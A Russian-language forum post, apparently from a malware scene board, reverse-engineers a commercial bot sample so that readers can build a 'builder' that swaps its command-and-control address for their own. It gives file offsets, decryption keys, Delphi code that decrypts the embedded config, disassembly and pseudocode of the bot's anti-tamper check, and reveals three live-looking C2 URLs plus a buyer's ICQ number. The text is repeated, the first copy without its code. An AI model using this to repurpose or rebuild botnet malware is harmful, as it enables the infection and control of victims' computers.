Ничего если я помогу товарищу KraZz, продолжив его тему
Итак.
На основании проведенного анализа, мы узнали, что данные адреса админки и еще чего-то, закодированы с использованием Base64 и простенького криптоалгоритма.
Вы уже, наверное скачали семпл бота из предыдущей темы и смотрите на него как на ... опустим неизвестность. Что же нам нужно, чтобы сделать простенький билдер, который изменит вшитый адрес на наш?
Давайте поищем, где в бинарнике бота находится эти зашифрованные данные. Я использую CFF Explorer. Откроем в нем бинарник и выберем меню - Hex Editor, перед нами шестнадцатиричный код бинарника, теперь нам нужно найти смещение, по которому прописаны данные. Жмем кнопку с изображением лупы и вводим в первом поле начало строки зашифрованных данных - "NxVF+j":
После этого жмем кнопку Find и вуа-ля, находится нужная нам строка, на рисунке я подчеркнул и выделил те данные, которые будут использоваться при написании билдера:
Небольшое пояснение:
- черным выделены зашифрованные данные
- подчеркнутые четыре байта слева от зашифрованных данных - это длина строки (которую надо будет пофиксить), другими словами в исходниках бота эта строка была объявлена так:
- внизу подчеркнуты поля с информацией о смещении данных относительно начала бинарника и опять же размер этих данных (все в шестнадцатиричной системе счисления)
Итак, мы знаем смещение зашифрованных данных, знаем метод шифровки/расшифровки, давайте перейдем к написанию билдера. В своей деятельности я использую Delphi и как бы некоторые не плевались, этот ЯП ничем не хуже остальных.
Сделаем простенькую форму с 4 компонентами:
Оформим все по-человечески и получим:
Все просто
Переходим к коду нашего билдера. Я решил написать как чтение данных из бинарника, так и запись новых. Что следует учесть при написании?
Для чтения:
- изначально строка с адресом закодирована в Base64, поэтому нам нужно ее раскодировать
- затем расшифровать
Для записи:
- зашифровать строку
- закодировать в Base64
Вот такой первоначальный алгоритм действий (дальше хуже
)
У нас есть 3 ключа и имя бинарника, объявим их так:
Внимание: В аттаче я выкладываю полные сорцы билдера, где есть все необходимые модули.
Создадим обработчик для кнопки Read:
- объявим локальные переменные:
- и сам код:
Данный код открывает бинарник бота, выделяет буфер под строку данных с размером $C8 (см. рисунок №2), устанавливает указатель для чтения по адресу $4294 (см. рисунок №2) и читает блок данных в подготовленный буфер. Если данные прочитались с нужным размером, происходит раскодирование буфера функцией Decode - это Base64Decode условно говоря и потом расшифровка через Decrypt. В конце в поле Edit1 будет выведена расшифрованная информация:
Хм, что-то не совсем понятное, дело в том, что это переврнутая строка с дполнительными разделителями и данными, по которым производится проверка валидности записанного адреса (привет авторам)
Для переворота строки используем такой код:
Добавим его в эту строку кода:
Теперь при чтении получаем такие данные:
Что мы здесь видим:
- непонятные цифры и символы @
- три адреса для остука
- версия бота - 8g
- номер (это скорее всего аська покупателя) и дату продажи
Теперь, чтобы разобраться подробнее вернемся к отладчику + известно, что бот написан на Delphi и используем IDR для построения map файла (помогает в отладке).
Вот участок кода, где происходит первоначальная манипуляция с зашифрованными данными, видно, что сначала раскодируется Base64, расшифровывается результат и потом удаляются пробелы с концов (хз, конечно откуда тут они могли появиться, т.ч опять привет авторам). Смотрим чуть ниже:
Здесь в неперевернутой строке ищется позиция для строки "_@@" и затем копируется строка за вычетом найденной позиции. После этого происходит процедура валидации полученной строки и в случае ее непрохождения комп вырубается (жестоко, да?). Не буду вдаваться в подробности, вот небольшой "псевдокод" (r - неперевернутая строка с данными):
Если мы проходим валидацию, то по окончанию наш буфер укорачивается на 16 символов и получается такая строка:
Потом идет переворот строки:
Поулчаем:
И в дальнейшем идет разбор трех адресов для остука, как разделитель для каждого адреса используются строки "@№@" (где № = 1..3), теперь немного откорректируем код обработчика для кнопки Read:
- локальные переменные:
- обработчик:
Вот так вот мы смогли прочитать зашифрованные данные :yes2:
Чуть позже, напишу, как записать нашу админку в бота
Итак.
На основании проведенного анализа, мы узнали, что данные адреса админки и еще чего-то, закодированы с использованием Base64 и простенького криптоалгоритма.
Вы уже, наверное скачали семпл бота из предыдущей темы и смотрите на него как на ... опустим неизвестность. Что же нам нужно, чтобы сделать простенький билдер, который изменит вшитый адрес на наш?
Давайте поищем, где в бинарнике бота находится эти зашифрованные данные. Я использую CFF Explorer. Откроем в нем бинарник и выберем меню - Hex Editor, перед нами шестнадцатиричный код бинарника, теперь нам нужно найти смещение, по которому прописаны данные. Жмем кнопку с изображением лупы и вводим в первом поле начало строки зашифрованных данных - "NxVF+j":
После этого жмем кнопку Find и вуа-ля, находится нужная нам строка, на рисунке я подчеркнул и выделил те данные, которые будут использоваться при написании билдера:
Небольшое пояснение:
- черным выделены зашифрованные данные
- подчеркнутые четыре байта слева от зашифрованных данных - это длина строки (которую надо будет пофиксить), другими словами в исходниках бота эта строка была объявлена так:
Код:
var
URL: String = 'NxVF+j/F385U6sVXA/tdQPPRjdi621/NcSudDng637htLdtvYxoz7SoH75D71R2r6PFN/ds1gdPBa8iQOtdeT1ULaij3MO2+rRK8YvcS3EGEj8XMcg/JfNn58mNuS29xMBGl+/che9Y4rWMxKRoL+VCrHZb/zD/2tUGRc65m0AmhhlMg3qNZA6bU82mrupHltACH0g==';
- внизу подчеркнуты поля с информацией о смещении данных относительно начала бинарника и опять же размер этих данных (все в шестнадцатиричной системе счисления)
Итак, мы знаем смещение зашифрованных данных, знаем метод шифровки/расшифровки, давайте перейдем к написанию билдера. В своей деятельности я использую Delphi и как бы некоторые не плевались, этот ЯП ничем не хуже остальных.
Сделаем простенькую форму с 4 компонентами:
Оформим все по-человечески и получим:
Все просто
Переходим к коду нашего билдера. Я решил написать как чтение данных из бинарника, так и запись новых. Что следует учесть при написании?
Для чтения:
- изначально строка с адресом закодирована в Base64, поэтому нам нужно ее раскодировать
- затем расшифровать
Для записи:
- зашифровать строку
- закодировать в Base64
Вот такой первоначальный алгоритм действий (дальше хуже
У нас есть 3 ключа и имя бинарника, объявим их так:
Код:
const
fn = '_00160000.exe';
StartKey = $624;
MultKey = $86E;
AddKey = $9139;
Внимание: В аттаче я выкладываю полные сорцы билдера, где есть все необходимые модули.
Создадим обработчик для кнопки Read:
- объявим локальные переменные:
Код:
var
hFile,read: cardinal;
buffer: string;
- и сам код:
Код:
hFile:=CreateFile(fn,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
if hFile<>INVALID_HANDLE_VALUE then
begin
SetLength(buffer,$C8);
SetFilePointer(hFile,$4294,nil,FILE_BEGIN);
ReadFile(hFile,pointer(buffer)^,$C8,read,nil);
if read=$C8 then
begin
Edit1.Text:=Decrypt(Decode(buffer),StartKey,MultKey,AddKey);
end;
CloseHandle(hFile);
end;
Данный код открывает бинарник бота, выделяет буфер под строку данных с размером $C8 (см. рисунок №2), устанавливает указатель для чтения по адресу $4294 (см. рисунок №2) и читает блок данных в подготовленный буфер. Если данные прочитались с нужным размером, происходит раскодирование буфера функцией Decode - это Base64Decode условно говоря и потом расшифровка через Decrypt. В конце в поле Edit1 будет выведена расшифрованная информация:
Код:
1102.40.90@5@527065275@4@g8@3@php.xedni/nd/ur.olirbej//:ptth@2@php.xedni/nd/ur.ivanidnacs//:ptth@1@php.xedni/nd/ur.lasorev//:ptth_@70y@00@r55%007_@@
Хм, что-то не совсем понятное, дело в том, что это переврнутая строка с дполнительными разделителями и данными, по которым производится проверка валидности записанного адреса (привет авторам)
Для переворота строки используем такой код:
Код:
function ReverseString(s: string): string;
var
i: integer;
begin
Result := '';
if Trim(s) <> '' then
for i := Length(s) downto 1 do
Result := Result + s[i];
end;
Добавим его в эту строку кода:
Код:
Edit1.Text:=ReverseString(Decrypt(Decode(buffer),StartKey,MultKey,AddKey));
Теперь при чтении получаем такие данные:
Код:
@@_700%55r@00@y07@_http://verosal.ru/dn/index.php@1@http://scandinavi.ru/dn/index.php@2@http://jebrilo.ru/dn/index.php@3@8g@4@572560725@5@09.04.2011
Что мы здесь видим:
- непонятные цифры и символы @
- три адреса для остука
- версия бота - 8g
- номер (это скорее всего аська покупателя) и дату продажи
Теперь, чтобы разобраться подробнее вернемся к отладчику + известно, что бот написан на Delphi и используем IDR для построения map файла (помогает в отладке).
Код:
<00411EDA>
LEA EDX,[LOCAL.2]; Buffer
MOV EAX,[LOCAL.1]; Crypted URL
CALL 00407840; Base64 Decode
MOV EAX,[LOCAL.2]
MOV EDX,EBX
CALL 0040794C; Decrypt
LEA EDX,[LOCAL.3]
MOV EAX,DWORD PTR DS:[EBX]
CALL 0040FDA4; Trim
Вот участок кода, где происходит первоначальная манипуляция с зашифрованными данными, видно, что сначала раскодируется Base64, расшифровывается результат и потом удаляются пробелы с концов (хз, конечно откуда тут они могли появиться, т.ч опять привет авторам). Смотрим чуть ниже:
Код:
<00411F04>
MOV EDX,DWORD PTR DS:[EBX]
MOV EAX,411F78
CALL 00404530; var pos = Pos('_@@',Buffer)
MOV ECX,EAX
DEC ECX
MOV EAX,DWORD PTR DS:[EBX]
MOV EDX,1
CALL 004044A8; Copy(Buffer,1,pos-1);
LEA EDX,[LOCAL.4]
MOV EAX,DWORD PTR DS:[EBX]
CALL 0040FE90; Validation
Здесь в неперевернутой строке ищется позиция для строки "_@@" и затем копируется строка за вычетом найденной позиции. После этого происходит процедура валидации полученной строки и в случае ее непрохождения комп вырубается (жестоко, да?). Не буду вдаваться в подробности, вот небольшой "псевдокод" (r - неперевернутая строка с данными):
Код:
x:=Pos('_@@',r);
r:=Copy(r,1,x-1);
l1:=Length(r);
l2:=Length(r);
s:=Copy(r,l2-$E,l1);
if s[2]<>r[16] then ShutDown;
if s[4]<>'y' then ShutDown;
if s[5]<>r[13] then ShutDown;
if s[7]<>r[17] then ShutDown;
if s[8]<>r[11] then ShutDown;
if s[10]<>r[14] then ShutDown;
if s[9]<>'r' then ShutDown;
if s[11]<>r[12] then ShutDown;
if s[12]<>'%' then ShutDown;
if s[13]<>r[10] then ShutDown;
if s[14]<>r[10] then ShutDown;
l1:=Length(r);
res:=Copy(r,1,l1-$10);
Если мы проходим валидацию, то по окончанию наш буфер укорачивается на 16 символов и получается такая строка:
Код:
1102.40.90@5@527065275@4@g8@3@php.xedni/nd/ur.olirbej//:ptth@2@php.xedni/nd/ur.ivanidnacs//:ptth@1@php.xedni/nd/ur.lasorev//:ptth
Потом идет переворот строки:
Код:
<00411F33>
LEA EDX,[LOCAL.5]
MOV EAX,DWORD PTR DS:[EBX]
CALL 00411BA4; ReverseString
Поулчаем:
Код:
http://verosal.ru/dn/index.php@1@http://scandinavi.ru/dn/index.php@2@http://jebrilo.ru/dn/index.php@3@8g@4@572560725@5@09.04.2011
И в дальнейшем идет разбор трех адресов для остука, как разделитель для каждого адреса используются строки "@№@" (где № = 1..3), теперь немного откорректируем код обработчика для кнопки Read:
- локальные переменные:
Код:
var
hFile,read: cardinal;
s,buffer: string;
- обработчик:
Код:
hFile:=CreateFile(fn,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
if hFile<>INVALID_HANDLE_VALUE then
begin
SetLength(buffer,$C8);
SetFilePointer(hFile,$4294,nil,FILE_BEGIN);
ReadFile(hFile,pointer(buffer)^,$C8,read,nil);
if read=$C8 then
begin
s:=Decrypt(Decode(buffer),StartKey,MultKey,AddKey);
s:=Copy(s,1,Pos('_@@',s)-1);
Edit1.Text:=ReverseString(Copy(s,1,Length(s)-16));
end;
CloseHandle(hFile);
end;
Вот так вот мы смогли прочитать зашифрованные данные :yes2:
Чуть позже, напишу, как записать нашу админку в бота